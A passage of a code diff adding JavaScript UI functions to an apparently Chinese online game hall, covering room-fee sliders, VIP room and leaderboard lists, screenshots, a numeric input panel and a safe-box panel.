"+GameUI.Mem.snrOption.sysRebate+"\n您加收: "+vl+"\n合计: "+rCount); + } + //关闭高级选项 + GameUI.closeSeniorOptions = function() { + //if(GameUI.Mem.snrOption.roomcode_string.length !=6 && GameUI.Mem.snrOption.roomcode_string.length != 0){ + //GameUI.OpenTips("房间号必须为6位或为空!"); + //return; + //} + //GameData.snrOption.profit = GameUI.Mem.snrOption.number; + //GameData.snrOption.roomcode = GameUI.Mem.snrOption.roomcode_string; + set_group(83, 37, 0, 0, 0); + if (Game_Modify.onCloseVip) { + Game_Modify.onCloseVip(); + } + + + } + //高级选项mouseup事件 + GameUI.seniorOptionsSlideEnd = function(gameid, spid_down, downx, downy, spid_up, upx, upy, timelong, no1, no2) { + var position = get_self(597, 18, 0, 0, 0) - GameUI.Mem.snrOption.start_x; + var new_position = GameUI.Mem.snrOption.start_x + Math.round(position / GameUI.Mem.snrOption.unit_px) * GameUI.Mem.snrOption.unit_px; + if (new_position < GameUI.Mem.snrOption.start_x) { + new_position = GameUI.Mem.snrOption.start_x; + } + if (new_position > GameUI.Mem.snrOption.end_x) { + new_position = GameUI.Mem.snrOption.end_x; + } + new_position < GameUI.Mem.snrOption.start_x ? new_position = GameUI.Mem.snrOption.start_x : (new_position > GameUI.Mem.snrOption.end_x ? new_position = GameUI.Mem.snrOption.end_x : true); + + set_self(597, 18, new_position, 0, 0); + set_self(593, 18, get_self(597, 18, 0, 0, 0) + 35 - get_self(593, 20, 0, 0, 0) / 2, 0, 0); + + } + //高级选项滑动 + GameUI.seniorOptionsSlide = function(gameid, spid, downx, downy, movex, movey, timelong, offmovex, offmovey, no1) { + var position = get_self(spid, 18, 0, 0, 0) + offmovex; + if (position >= GameUI.Mem.snrOption.start_x && position <= GameUI.Mem.snrOption.end_x) { + //if(position+offmovex){ + set_self(spid, 18, offmovex, 1, 0); + var count = Math.round((get_self(597, 18, 0, 0, 0) - GameUI.Mem.snrOption.start_x) / GameUI.Mem.snrOption.unit_px); + count < 0 ? count = 0 : (count > GameUI.Mem.snrOption.count ? count = GameUI.Mem.snrOption.count : true); + var _value = Number(count * GameUI.Mem.snrOption.unit) + Number(GameUI.Mem.snrOption.min); + GameUI.Mem.snrOption.number = _value; + _value > GameUI.Mem.snrOption.max ? _value = GameUI.Mem.snrOption.max : true; + set_self(593, 20, String(_value).length * GameUI.Mem.snrOption.number_1, 0, 0); + set_self(593, 7, _value, 0, 0); + set_self(593, 18, get_self(597, 18, 0, 0, 0) + 35 - String(_value).length * GameUI.Mem.snrOption.number_1 / 2, 0, 0); + //} + } + } + //创建高级选项房间列表 + GameUI.createSnrOptionRoomList = function() { + var roomInfo = ""; + var tea = 0; + if (GameData.snrRoomList.roomtype) { + roomInfo = Game_Modify.getFullRoomInfo(GameData.snrRoomList.roomtype); + } + if (GameData.snrRoomList.tea) { + tea = GameData.snrRoomList.tea; + } + var bg_width = get_self(ConstVal.snrRoomList.bg_spid, 20, 0, 0); + var bg_height = get_self(ConstVal.snrRoomList.bg_spid, 21, 0, 0); + var space = bg_height + ConstVal.snrRoomList.bg_space; + set_self(ConstVal.snrRoomList.f_spid, 18, ConstVal.snrRoomList.clip_x, 0, 0); + set_self(ConstVal.snrRoomList.f_spid, 19, ConstVal.snrRoomList.clip_y, 0, 0); + //set_self(ConstVal.snrRoomList.f_spid,20,GameData.snrRoomList.roomlist.length*space,0,0); + //set_self(ConstVal.snrRoomList.f_spid,21,ConstVal.snrRoomList.clip_h,0,0); + + + set_self(ConstVal.snrRoomList.f_spid, 20, ConstVal.snrRoomList.clip_w, 0, 0); + set_self(ConstVal.snrRoomList.f_spid, 21, GameData.snrRoomList.roomlist.length * space, 0, 0); + + for (var i = 0; i < GameData.snrRoomList.roomlist.length; i++) { + //背景 + var bg = ifast_addtospritefromspritecopy(ConstVal.snrRoomList.f_spid, ConstVal.snrRoomList.bg_spid, ConstVal.snrRoomList.bg_x, ConstVal.snrRoomList.bg_y + i * space, i + ConstVal.snrRoomList.bg_tag); + + + //房号 + var rcode = ifast_addtospritefromspritecopy(ConstVal.snrRoomList.f_spid, ConstVal.snrRoomList.rcode_spid, ConstVal.snrRoomList.rcode_x, ConstVal.snrRoomList.rcode_y + i * space, i + ConstVal.snrRoomList.rcode_tag); + //set_self(rcode,20,String(GameData.snrRoomList.roomlist[i]).length*GameUI.Mem.snrOption.number_4,0,0); + //set_self(rcode,18,ConstVal.snrRoomList.bg_x + i*space+(get_self(bg,20,0,0) - get_self(rcode,20,0,0))/2,0,0); + set_self(rcode, 20, String(GameData.snrRoomList.roomlist[i]).length * GameUI.Mem.snrOption.number_4, 0, 0); + set_self(rcode, 7, GameData.snrRoomList.roomlist[i], 0, 0); + //关闭按钮 + //var closeBtn = ifast_addtospritefromspritecopy(ConstVal.snrRoomList.f_spid,ConstVal.snrRoomList.close_spid, + //ConstVal.snrRoomList.close_x + i*space,ConstVal.snrRoomList.close_y,i+ConstVal.snrRoomList.close_tag); + //修改按钮 + //var updateBtn = ifast_addtospritefromspritecopy(ConstVal.snrRoomList.f_spid,ConstVal.snrRoomList.update_spid, + //ConstVal.snrRoomList.update_x + i*space,ConstVal.snrRoomList.update_y,i+ConstVal.snrRoomList.update_tag); + //开关按钮 + //var switchBtn = ifast_addtospritefromspritecopy(ConstVal.snrRoomList.f_spid,ConstVal.snrRoomList.switch_spid, + //ConstVal.snrRoomList.switch_x + i*space,ConstVal.snrRoomList.switch_y,i+ConstVal.snrRoomList.switch_tag); + //if(GameData.snrRoomList[i].state == 0){//开启中 + //set_self(switchBtn,43,2,0,0); + //}else{ + //set_self(switchBtn,43,3,0,0); + //} + //房间信息描述 + var info = ifast_addtospritefromspritecopy(ConstVal.snrRoomList.f_spid, ConstVal.snrRoomList.info_spid, ConstVal.snrRoomList.info_x, ConstVal.snrRoomList.info_y + i * space, i + ConstVal.snrRoomList.info_tag); + var infoText = roomInfo; + set_self(info, 7, infoText, 0, 0, 0); + + // 抽成背景 + //var rcode_bg = ifast_addtospritefromspritecopy(ConstVal.snrRoomList.f_spid,ConstVal.snrRoomList.rcode_bg_spid, + //ConstVal.snrRoomList.rcode_bg_x + i*space,ConstVal.snrRoomList.rcode_bg_y,i+ConstVal.snrRoomList.rcode_bg_tag); + //茶水费 + var profit = ifast_addtospritefromspritecopy(ConstVal.snrRoomList.f_spid, ConstVal.snrRoomList.profit_spid, ConstVal.snrRoomList.profit_x, ConstVal.snrRoomList.profit_y + i * space, i + ConstVal.snrRoomList.profit_tag); + var profigText = "房费:" + tea; + + + if (!GameData.snrRoomList.rebateType) { + profigText += GameData.starName; + } else { + profigText += GameData.sysConfig.charmName; + } + if(GameData.snrRoomList.rebateLimit){ + profigText += " 免收:"+GameData.snrRoomList.rebateLimit; + } + set_self(profit, 7, profigText, 0, 0); + //set_self(profit,18,get_self(bg,18,0,0,0)+get_self(bg,20,0,0,0)/2-profigText.gblen()*ConstVal.snrRoomList.profit_w/2,0,0); + //视频房标志 + if (GameData.snrRoomList.videoConfig) { + var info = ifast_addtospritefromspritecopy(ConstVal.snrRoomList.f_spid, ConstVal.snrRoomList.video_spid, ConstVal.snrRoomList.video_x, ConstVal.snrRoomList.video_y + i * space, i + ConstVal.snrRoomList.video_tag); + } + } + GameData.snrOptionLength = GameData.snrRoomList.roomlist.length; + } + //清除高级选项房间列表 + GameUI.clearSnrOptionRoomList = function() { + for (var i = 0; i < GameData.snrOptionLength; i++) { + //背景 + ifast_dllpritefromspritecopy(ConstVal.snrRoomList.f_spid, ConstVal.snrRoomList.bg_tag + i); + //房号 + ifast_dllpritefromspritecopy(ConstVal.snrRoomList.f_spid, ConstVal.snrRoomList.rcode_tag + i); + //房间信息描述 + ifast_dllpritefromspritecopy(ConstVal.snrRoomList.f_spid, ConstVal.snrRoomList.info_tag + i); + //关闭按钮 + ifast_dllpritefromspritecopy(ConstVal.snrRoomList.f_spid, ConstVal.snrRoomList.close_tag + i); + //抽成背景 + ifast_dllpritefromspritecopy(ConstVal.snrRoomList.f_spid, ConstVal.snrRoomList.rcode_bg_tag + i); + //抽成 + ifast_dllpritefromspritecopy(ConstVal.snrRoomList.f_spid, ConstVal.snrRoomList.profit_tag + i); + //视频房标志 + ifast_dllpritefromspritecopy(ConstVal.snrRoomList.f_spid, ConstVal.snrRoomList.video_tag + i); + } + GameData.snrOptionLength = 0; + } + //根据值更新滑动块位置 + GameUI.updateSnrSlider = function(value) { + set_self(597, 18, GameUI.Mem.snrOption.start_x + ((GameData.snrOption.max - GameUI.Mem.snrOption.min) / value) * GameUI.Mem.snrOption.slider, 0, 0); + } + //更新高级选项界面 + GameUI.updateSnrOption = function() { + GameData.snrOption.profit < GameUI.Mem.snrOption.min ? GameData.snrOption.profit = GameUI.Mem.snrOption.min : (GameData.snrOption.profit > GameUI.Mem.snrOption.max ? GameData.snrOption.profit = GameUI.Mem.snrOption.max : true); + GameUI.Mem.snrOption.slider = get_self(597, 20, 0, 0, 0); + GameUI.Mem.snrOption.start_x = get_self(596, 18, 0, 0, 0); + GameUI.Mem.snrOption.end_x = get_self(596, 20, 0, 0, 0) + GameUI.Mem.snrOption.start_x - GameUI.Mem.snrOption.slider; + GameUI.Mem.snrOption.unit_px = (get_self(596, 20, 0, 0, 0) - GameUI.Mem.snrOption.slider) / ((GameUI.Mem.snrOption.max - GameUI.Mem.snrOption.min) / GameUI.Mem.snrOption.unit); + GameUI.Mem.snrOption.count = Math.round((GameUI.Mem.snrOption.end_x - GameUI.Mem.snrOption.start_x) / GameUI.Mem.snrOption.unit_px); + set_self(597, 18, GameUI.Mem.snrOption.start_x + ((GameData.snrOption.profit - GameUI.Mem.snrOption.min) / GameUI.Mem.snrOption.unit) * GameUI.Mem.snrOption.unit_px, 0, 0); + + set_self(593, 20, GameUI.Mem.snrOption.number_1 * String(GameData.snrOption.profit).length, 0, 0); + set_self(593, 7, GameData.snrOption.profit, 0, 0); + + set_self(594, 20, GameUI.Mem.snrOption.number_2 * String(GameUI.Mem.snrOption.min).length, 0, 0); + set_self(594, 7, GameUI.Mem.snrOption.min, 0, 0); + set_self(594, 18, GameUI.Mem.snrOption.start_x - get_self(594, 20, 0, 0, 0) - 10, 0, 0); + + set_self(595, 20, GameUI.Mem.snrOption.number_2 * String(GameUI.Mem.snrOption.max).length, 0, 0); + set_self(595, 7, GameUI.Mem.snrOption.max, 0, 0); + + + GameUI.Mem.snrOption.roomcode_string = String(GameData.snrOption.roomcode); + //GameUI.Mem.snrOption.roomcode_number = Number(GameData.snrOption.roomcode); + + + + GameUI.Mem.snrOption.number = GameData.snrOption.profit; + } + //打开排行榜 + GameUI.openRankList = function(temp) { + GameData.rankType = temp; + if(GameData.rankType){ + set_self(3234,43,1,0,0); + }else{ + set_self(3234,43,2,0,0); + } + GameUI.closePallet(); + if (GameData.rankList.length == 0) { + return; + } else { + GameData.rankListTag = 0; + } + set_self(639, 43, GameData.nameImgFrame_2, 0, 0); + for (var i = 0; i < GameData.rankList.length; i++) { + Func.up_imgurl(ConstVal.rankList.headsrc + i, GameData.rankList[i].headimg); + } + if(!GameData.rankType){ + if (GameData.ownerNote && GameData.hallConfig.isReSetOwnerNote) { + GameData.rankList[0].signature = GameData.ownerNote; + } + } + if (GameData.rankList[GameData.rankListTag].signature) { + set_self(641, 7, "个性签名:\n"+GameData.rankList[GameData.rankListTag].signature,0,0); + //set_self(640, 7, GameData.rankList[GameData.rankListTag].signature, 0, 0); + } else { + set_self(641, 7, "个性签名:"); + //set_self(640, 7, "", 0, 0); + } + if(GameData.rankType){ + var rText = "公告:\n"; + if (GameData.rankList[GameData.rankListTag].destwo){ + rText += "("+GameData.rankList[GameData.rankListTag].destwo+")\n"; + } + if(GameData.rankList[GameData.rankListTag].notice){ + rText += GameData.rankList[GameData.rankListTag].notice + } + set_self(640, 7,rText,0,0); + /* + if (GameData.rankList[GameData.rankListTag].destwo) { + set_self(640, 7, "公告:\n\n("+GameData.rankList[GameData.rankListTag].destwo+")\n"+GameData.rankList[GameData.rankListTag].notice,0,0); + //set_self(640, 7, GameData.rankList[GameData.rankListTag].signature, 0, 0); + } else { + set_self(640, 7, "公告:",0,0); + //set_self(640, 7, "", 0, 0); + }*/ + + }else{ + set_self(640, 7, "",0,0); + } + + set_self(634, 1, ConstVal.rankList.headsrc + GameData.rankListTag, 0, 0); + set_self(636, 7, GameData.rankList[GameData.rankListTag].name, 0, 0); + set_self(637, 7, "ID:" + GameData.rankList[GameData.rankListTag].playerid, 0, 0); + set_self(638, 7, GameData.rankList[GameData.rankListTag].star, 0, 0); + + set_group(84, 37, 1, 0, 0); + + GameUI.createRankList(); + } + //关闭排行榜 + GameUI.closeRankList = function() { + set_group(84, 37, 0, 0, 0); + } + //创建排行榜 + GameUI.createRankList = function() { + GameUI.removeRankList(); + set_self(ConstVal.rankList.f_spid, 19, ConstVal.rankList.clip_y, 0, 0); + var rankLengthTemp = GameData.rankList.length; + var space = get_self(ConstVal.rankList.bg_spid, 21, 0, 0, 0) + ConstVal.rankList.space; + set_self(ConstVal.rankList.f_spid, 21, space * rankLengthTemp, 0, 0); + for (var i = 0; i < rankLengthTemp; i++) { + //背景 + var bg = ifast_addtospritefromspritecopy(ConstVal.rankList.f_spid, ConstVal.rankList.bg_spid, ConstVal.rankList.bg_x, ConstVal.rankList.bg_y + i * space + ConstVal.rankList.space, i + ConstVal.rankList.bg_tag); + switch (i) { + case 0: + //徽章 + var badge = ifast_addtospritefromspritecopy(ConstVal.rankList.f_spid, ConstVal.rankList.badge_spid, ConstVal.rankList.badge_x, ConstVal.rankList.badge_y + i * space + ConstVal.rankList.space, i + ConstVal.rankList.badge_tag); + set_self(badge, 43, 1, 0, 0, 0); + break; + case 1: + //徽章 + var badge = ifast_addtospritefromspritecopy(ConstVal.rankList.f_spid, ConstVal.rankList.badge_spid, ConstVal.rankList.badge_x, ConstVal.rankList.badge_y + i * space + ConstVal.rankList.space, i + ConstVal.rankList.badge_tag); + set_self(badge, 43, 2, 0, 0, 0); + break; + case 2: + //徽章 + var badge = ifast_addtospritefromspritecopy(ConstVal.rankList.f_spid, ConstVal.rankList.badge_spid, ConstVal.rankList.badge_x, ConstVal.rankList.badge_y + i * space + ConstVal.rankList.space, i + ConstVal.rankList.badge_tag); + set_self(badge, 43, 3, 0, 0, 0); + break; + default: + break; + } + //头像 + var headimg = ifast_addtospritefromspritecopy(ConstVal.rankList.f_spid, ConstVal.rankList.headimg_spid, ConstVal.rankList.headimg_x, ConstVal.rankList.headimg_y + i * space + ConstVal.rankList.space, i + ConstVal.rankList.headimg_tag); + set_self(headimg, 1, ConstVal.rankList.headsrc + i, 0, 0); + //头像框 + var headfront = ifast_addtospritefromspritecopy(ConstVal.rankList.f_spid, ConstVal.rankList.headfront_spid, ConstVal.rankList.headfront_x, ConstVal.rankList.headfront_y + i * space + ConstVal.rankList.space, i + ConstVal.rankList.headfront_tag); + //昵称 + var name = ifast_addtospritefromspritecopy(ConstVal.rankList.f_spid, ConstVal.rankList.name_spid, ConstVal.rankList.name_x, ConstVal.rankList.name_y + i * space + ConstVal.rankList.space, i + ConstVal.rankList.name_tag); + //星星数 + if(!GameData.rankType){ + set_self(name, 7, GameData.rankList[i].name, 0, 0, 0); + }else{ + set_self(name, 7, "VIP房号:"+GameData.rankList[i].shortcode, 0, 0, 0); + } + var star = ifast_addtospritefromspritecopy(ConstVal.rankList.f_spid, ConstVal.rankList.star_spid, ConstVal.rankList.star_x, ConstVal.rankList.star_y + i * space + ConstVal.rankList.space, i + ConstVal.rankList.star_tag); + //if(!GameData.rankType){ + set_self(star, 7, GameData.starName + ":" + GameData.rankList[i].star, 0, 0, 0); + //}else{ + // var dtxt = "公告:" + GameData.rankList[i].destwo; + // set_self(star, 7,Func.subString(dtxt,20,true), 0, 0, 0); + //} + } + GameData.ranListLength = rankLengthTemp; + set_self(ConstVal.rankList.f_spid, 20, get_self(ConstVal.rankList.bg_spid, 20, 0, 0), 0, 0); + + } + //删除排行榜 + GameUI.removeRankList = function() { + for (var i = 0; i < GameData.ranListLength; i++) { + //背景 + ifast_dllpritefromspritecopy(ConstVal.rankList.f_spid, ConstVal.rankList.bg_tag + i); + //徽章 + ifast_dllpritefromspritecopy(ConstVal.rankList.f_spid, ConstVal.rankList.badge_tag + i); + //头像 + ifast_dllpritefromspritecopy(ConstVal.rankList.f_spid, ConstVal.rankList.headimg_tag + i); + //头像框 + ifast_dllpritefromspritecopy(ConstVal.rankList.f_spid, ConstVal.rankList.headfront_tag + i); + //昵称 + ifast_dllpritefromspritecopy(ConstVal.rankList.f_spid, ConstVal.rankList.name_tag + i); + //星星 + ifast_dllpritefromspritecopy(ConstVal.rankList.f_spid, ConstVal.rankList.star_tag + i); + } + GameData.ranListLength = 0; + } + //点击排行榜 + GameUI.clickRankList = function(tag) { + GameData.rankListTag = tag; + set_self(634, 1, ConstVal.rankList.headsrc + GameData.rankListTag, 0, 0); + set_self(636, 7, GameData.rankList[GameData.rankListTag].name, 0, 0); + set_self(637, 7, "ID:" + GameData.rankList[GameData.rankListTag].playerid, 0, 0); + set_self(638, 7, GameData.rankList[GameData.rankListTag].star, 0, 0); + /*if (GameData.rankList[GameData.rankListTag].signature) { + set_self(641,7,"个性签名:"); + set_self(640, 7, GameData.rankList[GameData.rankListTag].signature, 0, 0); + } else { + set_self(641,7,""); + set_self(640, 7, "", 0, 0); + }*/ + if (GameData.rankList[GameData.rankListTag].signature) { + set_self(641, 7, "个性签名:\n"+GameData.rankList[GameData.rankListTag].signature,0,0); + //set_self(640, 7, GameData.rankList[GameData.rankListTag].signature, 0, 0); + } else { + set_self(641, 7, "个性签名:"); + //set_self(640, 7, "", 0, 0); + } + if(GameData.rankType){ + var rText = "公告:\n"; + if (GameData.rankList[GameData.rankListTag].destwo){ + rText += "("+GameData.rankList[GameData.rankListTag].destwo+")\n"; + } + if(GameData.rankList[GameData.rankListTag].notice){ + rText += GameData.rankList[GameData.rankListTag].notice + } + set_self(640, 7, rText,0,0); + /* + if (GameData.rankList[GameData.rankListTag].destwo) { + set_self(640, 7, "公告:\n\n("+GameData.rankList[GameData.rankListTag].destwo+")\n"+GameData.rankList[GameData.rankListTag].notice,0,0); + //set_self(640, 7, GameData.rankList[GameData.rankListTag].signature, 0, 0); + } else { + set_self(640, 7, "公告:",0,0); + //set_self(640, 7, "", 0, 0); + }*/ + }else{ + set_self(640, 7, "",0,0); + } + } + //打开分享引导 + GameUI.openShareImg = function() { + set_group(85, 37, 1, 0, 0); + } + //关闭分享引导 + GameUI.closeShareImg = function() { + set_group(85, 37, 0, 0, 0); + } +GameUI.SetImg = function(base64) { + set_group(86, 37, 1, 0, 0); + //var div_game = window.document.getElementById("div_game"); + var dH = window.innerHeight * ConstVal.screenShotParam; + var dW = window.innerWidth * ConstVal.screenShotParam; + if (dH > dW) { + var dh = dH; + dH = dW; + dW = dh; + } + + var div_result = window.document.getElementById("div_result"); + //div_result.style.transform = 'rotate(90deg)'; + //div_result.style.transformOrigin = '0 0 0'; + div_result.style.display = "block"; + // div_result.setAttribute("class", "div_result_show_css"); + div_result.className = "div_result_show_css"; + div_result.style.width = dW + "px"; + div_result.style.height = dH + "px"; + //div_result.style.width = dH + "px"; + //div_result.style.height = dW + "px"; + + //var topNum = parseInt((dH - dW)/2); + //div_result.style.top = topNum + "px"; + //div_result.style.left = "0px"; + + var div_img = document.getElementById("div_img"); + //div_img.style.width = (dW - 8) + "px"; + //div_img.style.height = (dW - 8 ) + "px"; + div_img.style.width = dW + "px"; + div_img.style.height = dH + "px"; + //div_img.style.width = dH + "px"; + //div_img.style.height = dW + "px"; + + var div_text = document.getElementById("div_text"); + div_text.style.width = dW + "px"; + div_text.style.height = "30px"; + div_text.style.top = div_img.style.height + "px"; + div_img.style.height = (parseInt(dH * 0.7) - 48) + "px"; + //div_img.style.height = (parseInt(dW * 0.7) - 48) + "px"; + + var obj = document.getElementById("img1"); + obj.setAttribute("src", base64); //把图片修改为目标路径 + obj.style.width = dW + "px"; + obj.style.height = dH + "px"; + //obj.style.width = dH + "px"; + //obj.style.height = dW + "px"; + + +} + +GameUI.HideImg = function() { + var div_result = window.document.getElementById("div_result"); + div_result.style.display = "none"; + set_group(86, 37, 0, 0, 0); +} +GameUI.screenShot = function(spidList) { + //if(yyy==1){return;} + //yyy=1; + //var canvas1 = document.createElement("canvas"); + //canvas1.width=1280; + //canvas1.height=720; + //var g=canvas1.getContext("2d"); + //g.drawImage(iui.canvas,0,0,canvas1.width,canvas1.height); + //var dataurl=canvas1.toDataURL("image/jpeg",0.7); + //GameUI.SetImg(dataurl); + + //GameData.screenShotStage=1; + if (spidList) { + GameData.screenShotSpidList = spidList; + } else { + spidList = []; + } + + for (var i = 0; i < GameData.screenShotSpidList.length; i++) { + set_self(GameData.screenShotSpidList[i], 37, 0, 0, 0); + } + for (var i = 0; i < 10; i++) { + set_self(376 + i, 37, 0, 0, 0); + } + var w, h; + w = iui.backBuffer.width; + h = iui.backBuffer.height; + + // iui.backBuffer=null; + + iui.backBuffer.height = 0; + iui.backBuffer.width = 0; + iui.backBuffer = null; + iui.backBuffer = document.createElement('canvas'); + iui.backBufferContext2D = iui.backBuffer.getContext('2d'); + gameabc_face.dc = iui.backBufferContext2D; + iui.backBuffer.width = w; + iui.backBuffer.height = h; + GameData.screenShotStage = 1; + + + +} +GameUI.gameenddraw = function(gameid, spid, times, timelong) { + //更新完成代码 + + switch (GameData.screenShotStage) { + case 1: + //console.log("screenShotStage"); + GameData.screenShotStage = 0; + var imageData = iui.backBuffer.toDataURL("image/jpeg", ConstVal.screenShotParam); + for (var i = 0; i < GameData.screenShotSpidList.length; i++) { + set_self(GameData.screenShotSpidList[i], 37, 1, 0, 0); + } + GameUI.SetImg(imageData); + + GameData.screenShotSpidList = []; + break; + } + +}; +GameUI.adaptWidthNumber = function(spid, text, width) { + set_self(spid, 20, String(text).length * width, 0, 0); +} +GameUI.adaptPositionX = function(spid, adpX) { + set_self(spid, 18, adpX - get_self(spid, 20, 0, 0, 0) / 2, 0, 0); +} +GameUI.adaptPositionSpid = function(spid, adpSpid) { + set_self(spid, 18, get_self(adpSpid, 18, 0, 0, 0) + get_self(adpSpid, 20, 0, 0, 0) / 2 - get_self(spid, 20, 0, 0, 0) / 2, 0, 0); +} +GameUI.setNumberImage = function(spid, text, width) { + set_self(spid, 7, text, 0, 0); + set_self(spid, 20, String(text).length * width, 0, 0); +} +//打开数字输入面板 +GameUI.openInputPanel = function(_msg, _callback,begin0) { + if (_callback) { + GameData.inputCallBack = _callback; + } + if(begin0){ + GameData.begin0 = true; + }else{ + GameData.begin0 = false; + } + if(GameData.begin0){ + GameData.inputPanelData = ""; + }else{ + GameData.inputPanelData = "0"; + } + set_self(3001, 7, _msg, 0, 0); + set_self(3001, 20, String(_msg).gblen() * 26, 0, 0); + GameUI.adaptPositionSpid(3001, 659); + GameUI.setNumberImage(3003, GameData.inputPanelData, 51); + GameUI.adaptPositionSpid(3003, 3002); + set_group(87, 37, 1, 0, 0); +} +//关闭数字输入面板 + +GameUI.closeInputPanel = function() { + set_group(87, 37, 0, 0, 0); +} +GameUI.inputPanel = function(spid) { + if (spid >= 661 && spid <= 670) { //数字输入 + if (GameData.inputPanelData.length > 17) { + GameUI.OpenTips("输入超出范围", ConstVal.Tips.time); + return; + } + if(!GameData.begin0){ + if (GameData.inputPanelData == "0") { // + GameData.inputPanelData = String(spid - 661); + GameUI.setNumberImage(3003, GameData.inputPanelData, 51); + GameUI.adaptPositionSpid(3003, 3002); + } else { + GameData.inputPanelData += String(spid - 661); + GameUI.setNumberImage(3003, GameData.inputPanelData, 51); + GameUI.adaptPositionSpid(3003, 3002); + } + }else{ + GameData.inputPanelData += String(spid - 661); + GameUI.setNumberImage(3003, GameData.inputPanelData, 51); + GameUI.adaptPositionSpid(3003, 3002); + } + } + if (spid == 671) { //删除 + if (GameData.inputPanelData.length == 1) { + if(GameData.begin0){ + GameData.inputPanelData = ""; + }else{ + GameData.inputPanelData = "0"; + } + } else { + GameData.inputPanelData = GameData.inputPanelData.substring(0, GameData.inputPanelData.length - 1); + } + GameUI.setNumberImage(3003, GameData.inputPanelData, 51); + GameUI.adaptPositionSpid(3003, 3002); + } + if (spid == 3000) { //确定 + //console.log(Number(GameData.inputPanelData)); + //GameUI.closeInputPanel(); + if(GameData.begin0){ + Game_Modify.onCheckInput(GameData.inputPanelData); + }else{ + Game_Modify.onCheckInput(Number(GameData.inputPanelData)); + } + if(GameData.begin0){ + if (GameData.inputCallBack) { + GameData.inputCallBack(GameData.inputPanelData); + } + }else{ + if (GameData.inputCallBack) { + GameData.inputCallBack(Number(GameData.inputPanelData)); + } + } + + + } +} +GameUI.showNeighbor = function() { + set_group(88, 37, 1, 0, 0); +} +GameUI.hideNeighbor = function() { + set_group(88, 37, 0, 0, 0); +} + + +GameUI.updateInsertHTML = function() { + //Logic.getHTML(); + return; + //if(!GameData.hallConfig.activity){ + //return; + //} + if (GameData.htmlId) { + if (get_self(4, 37, 0, 0, 0) == 1) { + var dom = document.getElementById(GameData.htmlId); + if (dom) { + dom.style.display = "block"; + } + } else { + var dom = document.getElementById(GameData.htmlId); + if (dom) { + dom.style.display = "none"; + } + + } + + } +} +GameUI.openTips2 = function(_msg, time) { + try { + //if(GameData.tipTimer2){ + // GameData.tipTimer2 = null; + // clearTimeout(GameData.tipTimer2); + //} + if (time) { + if (time > 0) { + GameData.tipTimer2 = setTimeout("GameUI.closeTips2()", time); + } + } + var gbLength = 14; + var gbHeight = 28; + var spaceX = 40; + var spaceY = 25; + var strArray = _msg.split("\n"); + var max_length = 0; + for (var k = 0; k < strArray.length; k++) { + var lenTemp = strArray[k].gblen(); + if (lenTemp > max_length) { + max_length = lenTemp; + } + } + set_self(3013, 7, _msg, 0, 0); + + set_self(3012, 20, max_length * gbLength + 2 * spaceX, 0, 0); + set_self(3012, 21, strArray.length * gbHeight + 2 * spaceY, 0, 0); + set_self(3012, 18, 640 - get_self(3012, 20, 0, 0, 0) / 2, 0, 0); + set_self(3012, 19, 360 - get_self(3012, 21, 0, 0, 0) / 2, 0, 0); + + set_self(3013, 18, get_self(3012, 18, 0, 0, 0) + spaceX, 0, 0); + set_self(3013, 19, get_self(3012, 19, 0, 0, 0) + spaceY, 0, 0); + set_group(89, 37, 1, 0, 0); + } catch (e) { + + } +} +GameUI.closeTips2 = function() { + //if(GameData.tipTimer2){ + // GameData.tipTimer2 = null; + // clearTimeout(GameData.tipTimer2); + //} + set_group(89, 37, 0, 0, 0); +} +//更新常驻活动按钮 +GameUI.updateActBtn = function() { + if (ConstVal.isGameHall) { + set_self(3018, 37, 0, 0, 0); + return; + } + if (isArray(GameData.hallConfig.actData)) { + if (GameData.hallConfig.actData[0]) { + Func.up_imgurl(253, GameData.hallConfig.actData[0]); + } + set_self(3018, 37, 1, 0, 0); + } else { + set_self(3018, 37, 0, 0, 0); + } +} +//打开保险箱 +GameUI.openWareHouse = function() { + GameData.wareHouse.safeInputCount = -1, //保险箱存入取出数量 + GameData.wareHouse.safePassWord = -1, //保险箱存入取出密码 + GameData.wareHouse.inputNumber = 0, //输入的数字 + GameUI.closePallet(); + var bTemp = C_Player.bankpwd; + set_group(91, 37, 1, 0, 0); + set_self(3031, 37, 0, 0, 0); + GameData.wareHouse.page = 1; + GameUI.showWareHouseTable(); + set_self(3077, 43, Utl.getNameImgFrame_2(), 0, 0); + set_self(3032, 43, Utl.getNameImgFrame_2(), 0, 0); + set_self(3078, 43, Utl.getNameImgFrame_1(), 0, 0); + if (bTemp) { //已绑定 + switch (GameData.hallConfig.wareHouse) { + case 2: + GameData.wareHouse.selectType = 5; + GameData.wareHouse.page = 2; + break; + case 1: + case 3: + case 4: + case 5: + GameData.wareHouse.selectType = 3; + GameData.wareHouse.page = 1; + break; + } + //GameData.wareHouse.selectType = 3; + GameUI.selectWareHouseInputType(GameData.wareHouse.selectType); + GameUI.updateWareHouseCheckBox(); + GameUI.updateWareHouseInput(); + } else { //未绑定 + GameData.wareHouse.selectType = 1; + set_group(93, 37, 1, 0, 0); + GameUI.updateWareHouseInput(); + GameUI.selectWareHouseInputType(GameData.wareHouse.selectType); + } +} +GameUI.closeWareHouse = function() { + set_group(91, 37, 0, 0, 0); + set_group(92, 37, 0, 0, 0); + set_group(93, 37, 0, 0, 0); + set_group(94, 37, 0, 0, 0); +} +//显示仓库标签页 +GameUI.showWareHouseTable = function() { + switch (GameData.hallConfig.wareHouse) { + case 0: + set_self(3059, 37, 0, 0, 0); + set_self(3060, 37, 0, 0, 0); + set_self(3061, 37, 0, 0, 0); + set_self(3062, 37, 0, 0, 0); + break; + case 1: + case 2: + set_self(3059, 37, 1, 0, 0); + set_self(3060, 37, 0, 0, 0); + set_self(3061, 37, 1, 0, 0); + set_self(3062, 37, 0, 0, 0); + break; + + case 3: + case 4: + case 5: + GameUI.switchWareHousePage(GameData.wareHouse.page); + set_self(3059, 37, 1, 0, 0); + set_self(3060, 37, 1, 0, 0); + set_self(3061, 37, 1, 0, 0); + set_self(3062, 37, 1, 0, 0); + set_self(3081,1,170,0,0); + set_self(3082,7,'',0,0); + set_self(3083,7,'',0,0); + break; + } + switch (GameData.wareHouse.page) { + case 1: + //保险箱 + + set_self(3059, 43, 1, 0, 0); + set_self(3060, 43, 2, 0, 0); + set_self(3061, 43, 1, 0, 0); + set_self(3062, 43, 4, 0, 0); + break; + case 2: + //仓库 + + set_self(3059, 43, 2, 0, 0); + set_self(3060, 43, 1, 0, 0); + set_self(3061, 43, 2, 0, 0); + set_self(3062, 43, 3, 0, 0); + + break; + } +} +//显示初始化密码界面 +GameUI.showInitPassWord = function() { + set_group(93, 37, 1, 0, 0); +} +//切换仓库页 +GameUI.switchWareHousePage = function(page, 